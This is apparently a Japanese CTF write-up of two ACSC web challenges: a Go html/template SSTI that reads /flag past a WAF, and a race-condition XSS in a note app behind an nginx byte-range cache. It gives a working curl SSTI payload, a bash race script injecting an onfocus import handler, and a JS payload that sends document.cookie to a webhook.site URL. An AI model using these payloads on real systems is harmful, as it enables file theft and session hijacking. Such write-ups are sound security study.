GolangのSSTIで /flag を読み出せという問題。ただし、WAFが挟まっていて、/ACSC\{.*\}/ がレスポンスに含まれていると怒られる。フレームワークはEchoが使われていて、テンプレートの方は標準の html/template が使われている。つまり、PythonやJSのように簡単にRCEに持ち込めるわけではないが、Echoの何かしらは使えそうかなというところ。

ドキュメントとにらめっこしつつ、有用なものがないか探す。かなり候補が多くて、当時のメモもこの問題の調査をしている部分がかなり長くなっている。

正解は .Echo.Filesystem.Open.Get "template" で適当に []byte を調達してきつつ叩いてやればよい。

$ curl -i http://easyssti.chal.ctf.acsc.asia:8000/ -H 'Template: {{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }}{{ . }}'
HTTP/1.1 200 OK
content-type: text/html; charset=UTF-8
date: Sat, 25 Feb 2023 23:55:47 GMT
content-length: 354
Connection: keep-alive
Keep-Alive: timeout=72

26{0xc0000bc400 0xc0003500c0 / [] [] map[] 0x7aee80 map[template:[65 67 83 67 123 104 48 119 95 100 105 100 95 121 48 117 95 108 101 97 107 95 109 101 125 10 34 47 102 108 97 103 34 41 46 82 101 97 100 32 40 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 41 32 125 125 123 123 32 46 32 125 125]] 0xc0001206c0 &lt;nil&gt; {{0 0} 0 0 {{} 0} {{} 0}}}
ACSC{h0w_did_y0u_leak_me}

[Web 250] Gotion (9 solves)

Gotion is yet another simple secure note service. You might have seen these kind of applications many times before, but try this one!

service Please use backup for now
service (Backup)

XSSに持ち込むのが目的の、Notion的なWebアプリ。何を入力してもエスケープされるので一見セキュアだが、nginxのキャッシュ周りの設定がかなり怪しくなっていて、というよりわざわざ設定しているのが怪しい。

    location ~ .mp4$ {
        # Smart and Efficient Byte-Range Caching with NGINX
        # https://www.nginx.com/blog/smart-efficient-byte-range-caching-nginx/
        proxy_cache mycache;
        slice              4096; # Maybe it should be bigger?
        proxy_cache_key    $host$uri$is_args$args$slice_range;
        proxy_set_header   Range $slice_range;
        proxy_http_version 1.1;
        proxy_cache_valid  200 206 1h;
        proxy_pass http://app:3000;
    }

Gotionにはメモの更新機能があるのだけれども、ガチャガチャ試しているうちに、同じタイミングで同じメモに対して、31文字と97文字というように長さの異なる2つの内容での更新を試したところ、次のようにHTMLが壊れだした。

  <textarea name="body" clapiy444444444444444444444444444444444o</textarea>
          <label for="floatingTextarea">note</label>
        </div>
        <div class="col-12">

メモは以下のようにファイルとして保存されている。書き込みタイミングが重なったことでRace Conditionを起こせたらしい。

const (
    PublicDir    = "./public"
    NoteBaseDir  = "./notes"
    NoteTemplate = "./templates/note.html"
)

func WriteNote(file *os.File, body NoteParam) {
    body.RecaptchaSiteKey = os.Getenv("RECAPTCHA_SITEKEY")

    tmpl, err := template.ParseFiles(NoteTemplate)
    if err != nil {
        panic(err)
    }

    err = tmpl.Execute(file, body)
    if err != nil {
        panic(err)
    }
}

// …

func GetNotePath(noteId string) (string, string) {
    notePublicPath := filepath.Join(NoteBaseDir, noteId)
    noteFilePath := filepath.Join(PublicDir, notePublicPath)

    return noteFilePath, notePublicPath
}

文字数の調整を行って、ちょうどHTMLタグの属性部分に autofocus, onfocus, contenteditable の3種の神器が挿入されるような組み合わせを探す。次のようにするといい感じに仕込めた。

#!/bin/bash
gg() { curl 'http://gotion.chal.ctf.acsc.asia/update-note' \
…
  -H 'Content-Type: application/x-www-form-urlencoded' \
…
  --data-raw 'noteId=9cd8c090-6b47-4943-b381-9e1b1e40a850-abc&title='"$1"'&body='"$2" \
  --compressed; }


gg b "                            autofocus onfocus=import(String.fromCharCode(47,47,…,58,56,48,48,49)) contenteditable               " & \
gg aaaaaaaaaaaaaaaaaaaa "         autofocus onfocus=import(String.fromCharCode(47,47,…,58,56,48,48,49)) contenteditable               " &
  <div class="container">
    <div class="card mt-5">
      <div class="card-body">
        <h4 b</h4>
        <prea                            autofocus          autofocus onfocus=import(String.fromCharCode(47,47,…,58,56,48,48,49)) contenteditable               </pre>
      </div>
    </div>

これでXSSに持ち込めた。あとは import で読み込まれるJSコードを変更するだけ。

<?php
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/javascript');
?>
navigator.sendBeacon('https://webhook.site/…', document.cookie)
alert(123)
ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus}

作問者のwriteupで想定解法が紹介されている。

*1:問題についての記憶が薄れている今ちゃんとしたwriteupを書くというのも、一度解いているとはいえ、ほとんど改めて問題を解き直すようなもので面倒なので…